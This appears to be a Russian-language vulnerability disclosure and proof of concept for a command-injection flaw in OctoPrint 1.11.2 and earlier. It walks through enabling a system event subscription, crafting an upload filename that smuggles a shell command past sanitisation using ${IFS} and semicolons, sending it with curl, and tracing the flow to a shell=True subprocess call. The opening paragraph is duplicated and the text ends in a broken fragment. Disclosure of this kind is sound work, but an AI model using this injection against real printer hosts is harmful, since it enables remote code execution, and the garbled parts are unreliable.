
В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется системой событий OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.
В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется событийной системой OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.
Загружена последняя стабильная версия: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Остановите службу OctoPrint после выполнения указанных выше действий.
Отредактируйте ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

Создайте /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Перезапустите службу OctoPrint.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Пояснение: ${IFS} — это внутренний разделитель полей оболочки (обычно пробел). Он обходит санитизацию при внедрении.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

Если /tmp/test123 существует, внедрённая команда выполнилась успешно → RCE подтверждено.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
При загрузке файла:
;, ${IFS} и т. д.) передаётся в оболочку.